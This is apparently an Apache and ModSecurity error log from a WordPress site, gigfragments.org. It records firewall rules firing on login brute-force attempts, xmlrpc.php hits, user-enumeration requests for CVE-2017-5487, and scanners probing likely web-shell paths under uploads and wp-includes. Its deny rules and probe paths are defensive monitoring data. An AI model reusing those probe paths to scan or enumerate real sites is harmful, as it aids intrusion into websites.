[Tue Mar 24 16:47:29.824491 2026] [:error] [pid 48219:tid 48284] [client 193.19.109.63:50839] [client 193.19.109.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJPoShf3b4R_lAIyv9KVAAAAgM"]
[Tue Mar 24 16:47:29.824997 2026] [:error] [pid 3032:tid 3120] [client 173.239.254.220:43101] [client 173.239.254.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJPoSa_-JXXD03-JNw2NAAAAJE"]
[Tue Mar 24 17:00:43.540183 2026] [:error] [pid 3030:tid 3065] [client 173.239.254.233:21417] [client 173.239.254.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJSuwyOuILyynfcqflHWwAAABA"]
[Tue Mar 24 17:24:19.116570 2026] [:error] [pid 3137:tid 3155] [client 182.42.104.32:36955] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acJYQ5dZesutm6dfYM_2zwAAANA"]
[Tue Mar 24 17:33:11.280812 2026] [:error] [pid 38767:tid 38778] [client 109.245.105.22:56722] [client 109.245.105.22] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acJaV_wkUqN4GJAI5oXOCQAAAQg"]
[Tue Mar 24 17:33:43.000708 2026] [:error] [pid 64198:tid 64218] [client 109.245.105.22:57298] [client 109.245.105.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.245.105.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acJadnVzJqf6OS_oSZ1mygAAAVI"]
[Tue Mar 24 17:34:46.080157 2026] [:error] [pid 48214:tid 48276] [client 109.245.105.22:58354] [client 109.245.105.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.245.105.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acJatreshLWZ3uUDHKlQZgAAAdg"]
[Tue Mar 24 17:35:44.510250 2026] [:error] [pid 48219:tid 48298] [client 109.245.105.22:59438] [client 109.245.105.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.245.105.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acJa8Chf3b4R_lAIyv9XBQAAAhE"]
[Tue Mar 24 17:36:53.942614 2026] [:error] [pid 38767:tid 38778] [client 109.245.105.22:33051] [client 109.245.105.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.245.105.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acJbNfwkUqN4GJAI5oXQ0gAAAQg"]
[Tue Mar 24 17:37:41.996156 2026] [:error] [pid 48219:tid 48282] [client 109.245.105.22:61354] [client 109.245.105.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.245.105.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acJbZShf3b4R_lAIyv9XagAAAgE"]
[Tue Mar 24 19:30:08.355460 2026] [:error] [pid 64198:tid 64217] [client 193.19.109.61:44823] [client 193.19.109.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJ1wHVzJqf6OS_oSZ2jcwAAAVE"]
[Tue Mar 24 19:30:08.379956 2026] [:error] [pid 64198:tid 64224] [client 193.19.109.70:42681] [client 193.19.109.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJ1wHVzJqf6OS_oSZ2jdAAAAVg"]
[Tue Mar 24 19:33:31.092564 2026] [:error] [pid 48219:tid 48282] [client 43.157.53.115:50752] [client 43.157.53.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acJ2iyhf3b4R_lAIyv92LwAAAgE"]
[Tue Mar 24 19:34:16.049465 2026] [:error] [pid 3032:tid 3116] [client 157.66.47.86:57612] [client 157.66.47.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.66.47.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJ2uCa_-JXXD03-JNxPswAAAI0"]
[Tue Mar 24 19:34:19.763705 2026] [:error] [pid 3032:tid 3121] [client 157.66.47.86:57612] [client 157.66.47.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.66.47.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJ2uya_-JXXD03-JNxPtAAAAJI"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 19:49:41.158092 2026] [:error] [pid 38767:tid 38777] [client 173.239.254.233:24661] [client 173.239.254.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJ6VfwkUqN4GJAI5oUmLwAAAQc"]
[Tue Mar 24 19:49:42.155498 2026] [:error] [pid 48128:tid 48154] [client 193.19.109.69:57285] [client 193.19.109.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJ6VsvR4LIMFLbM5Vk2VwAAAYU"]
[Tue Mar 24 20:32:29.660788 2026] [:error] [pid 38767:tid 38770] [client 173.239.254.213:59405] [client 173.239.254.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acKEXfwkUqN4GJAI5oU53AAAAQA"]
[Tue Mar 24 20:32:29.661200 2026] [:error] [pid 38767:tid 38781] [client 85.8.130.19:41813] [client 85.8.130.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acKEXfwkUqN4GJAI5oU53QAAAQs"]
[Tue Mar 24 20:52:11.083835 2026] [:error] [pid 64198:tid 64201] [client 173.239.254.223:34445] [client 173.239.254.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.223, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acKI-3VzJqf6OS_oSZ3BcAAAAUE"]
[Tue Mar 24 20:52:11.084100 2026] [:error] [pid 64198:tid 64206] [client 193.19.109.72:22311] [client 193.19.109.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.72, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acKI-3VzJqf6OS_oSZ3BcQAAAUY"]
[Tue Mar 24 21:11:44.732984 2026] [:error] [pid 48219:tid 48286] [client 173.239.254.222:37505] [client 173.239.254.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acKNkChf3b4R_lAIyv-JmgAAAgU"]
[Tue Mar 24 21:11:44.733228 2026] [:error] [pid 38767:tid 38771] [client 193.37.33.221:38909] [client 193.37.33.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acKNkPwkUqN4GJAI5oVPkQAAAQE"]
[Tue Mar 24 21:32:15.420961 2026] [:error] [pid 38767:tid 38779] [client 45.161.225.164:31467] [client 45.161.225.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.225.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acKSX_wkUqN4GJAI5oVYFAAAAQk"]
[Tue Mar 24 21:46:59.990464 2026] [:error] [pid 38767:tid 38783] [client 51.103.25.59:53940] [client 51.103.25.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.103.25.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acKV0_wkUqN4GJAI5oVdlQAAAQ0"]
[Tue Mar 24 21:47:01.675928 2026] [:error] [pid 38767:tid 38774] [client 51.103.25.59:53940] [client 51.103.25.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.103.25.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acKV1fwkUqN4GJAI5oVdmAAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 21:48:53.670894 2026] [:error] [pid 38767:tid 38773] [client 20.63.12.125:65270] [client 20.63.12.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "acKWRfwkUqN4GJAI5oVetwAAAQM"]
[Tue Mar 24 21:48:54.530846 2026] [:error] [pid 38767:tid 38777] [client 20.63.12.125:65223] [client 20.63.12.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "acKWRvwkUqN4GJAI5oVevQAAAQc"]
[Tue Mar 24 21:48:55.368700 2026] [:error] [pid 48128:tid 48151] [client 20.63.12.125:65203] [client 20.63.12.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "acKWR8vR4LIMFLbM5VlA7wAAAYI"]
[Tue Mar 24 21:48:56.232210 2026] [:error] [pid 48219:tid 48286] [client 20.63.12.125:65265] [client 20.63.12.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "acKWSChf3b4R_lAIyv-RQQAAAgU"]
[Wed Mar 25 00:06:26.360131 2026] [:error] [pid 48214:tid 48259] [client 20.63.0.132:61328] [client 20.63.0.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "acK2greshLWZ3uUDHKmQxwAAAcc"]
[Wed Mar 25 00:06:27.638343 2026] [:error] [pid 48128:tid 48156] [client 20.63.0.132:63977] [client 20.63.0.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "acK2g8vR4LIMFLbM5VlM-wAAAYY"]
[Wed Mar 25 00:06:29.139343 2026] [:error] [pid 38767:tid 38777] [client 20.63.0.132:60745] [client 20.63.0.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "acK2hfwkUqN4GJAI5oWOngAAAQc"]
[Wed Mar 25 00:06:31.139216 2026] [:error] [pid 48128:tid 48158] [client 20.63.0.132:63978] [client 20.63.0.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "acK2h8vR4LIMFLbM5VlM_AAAAYc"]
[Wed Mar 25 00:22:29.152120 2026] [:error] [pid 58154:tid 58157] [client 103.28.36.205:49416] [client 103.28.36.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acK6RQ0pGUh6bwD3ouJxsgAAAMA"]
[Wed Mar 25 00:22:29.555493 2026] [:error] [pid 57702:tid 57914] [client 95.91.236.25:15576] [client 95.91.236.25] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acK6RaS8TU_xcQFvlnbsxwAAAAs"]
[Wed Mar 25 00:22:31.049349 2026] [:error] [pid 58154:tid 58178] [client 103.28.36.205:49416] [client 103.28.36.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acK6Rw0pGUh6bwD3ouJxuwAAANU"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 00:23:42.436430 2026] [:error] [pid 57702:tid 57909] [client 95.91.236.25:47167] [client 95.91.236.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.91.236.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acK6jqS8TU_xcQFvlnbtbwAAAAY"]
[Wed Mar 25 00:25:06.824222 2026] [:error] [pid 58154:tid 58176] [client 95.91.236.25:63613] [client 95.91.236.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.91.236.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acK64g0pGUh6bwD3ouJzmgAAANM"]
[Wed Mar 25 00:26:34.168969 2026] [:error] [pid 57702:tid 57918] [client 95.91.236.25:15557] [client 95.91.236.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.91.236.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acK7OqS8TU_xcQFvlnbvGQAAAA8"]
[Wed Mar 25 00:27:37.924330 2026] [:error] [pid 58154:tid 58165] [client 95.91.236.25:46816] [client 95.91.236.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.91.236.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acK7eQ0pGUh6bwD3ouJ1AgAAAMg"]
[Wed Mar 25 00:29:37.151838 2026] [:error] [pid 58154:tid 58174] [client 82.145.60.134:57264] [client 82.145.60.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.145.60.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acK78Q0pGUh6bwD3ouJ2lgAAANE"]
[Wed Mar 25 00:29:38.862605 2026] [:error] [pid 58154:tid 58173] [client 82.145.60.134:57264] [client 82.145.60.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.145.60.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acK78g0pGUh6bwD3ouJ2mAAAANA"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 00:30:25.930039 2026] [:error] [pid 57703:tid 58039] [client 95.91.236.25:7299] [client 95.91.236.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.91.236.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acK8IfIVQxDtjkklWGZMCAAAAFQ"]
[Wed Mar 25 00:41:11.784171 2026] [:error] [pid 57702:tid 57922] [client 5.75.138.246:49596] [client 5.75.138.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.75.138.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acK-p6S8TU_xcQFvlnb3IwAAABM"]
[Wed Mar 25 00:41:13.597411 2026] [:error] [pid 57702:tid 57910] [client 5.75.138.246:49596] [client 5.75.138.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.75.138.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acK-qaS8TU_xcQFvlnb3JgAAAAc"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 01:01:41.852573 2026] [:error] [pid 57703:tid 58040] [client 114.96.103.33:53079] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acLDdfIVQxDtjkklWGZUiQAAAFU"]
[Wed Mar 25 01:19:42.647670 2026] [autoindex:error] [pid 57703:tid 58026] [client 20.151.251.35:45780] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 25 01:19:42.854347 2026] [:error] [pid 57703:tid 58032] [client 20.151.251.35:45780] [client 20.151.251.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.251.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acLHrvIVQxDtjkklWGZZIAAAAE0"]
[Wed Mar 25 01:19:50.214677 2026] [autoindex:error] [pid 57703:tid 58027] [client 20.151.251.35:45780] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 25 01:19:50.429634 2026] [autoindex:error] [pid 57703:tid 58030] [client 20.151.251.35:45780] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 25 01:19:52.152253 2026] [autoindex:error] [pid 57703:tid 58042] [client 20.151.251.35:45780] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 25 01:19:59.566555 2026] [autoindex:error] [pid 57703:tid 58022] [client 20.151.251.35:45780] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 25 01:20:01.401657 2026] [:error] [pid 57703:tid 58043] [client 20.151.251.35:45780] [client 20.151.251.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "acLHwfIVQxDtjkklWGZZRgAAAFg"]
[Wed Mar 25 01:20:02.225897 2026] [:error] [pid 20371:tid 20373] [client 20.151.251.35:45377] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/file.php"] [unique_id "acLHwub25OL4yTv2fF9_PwAAAQA"]
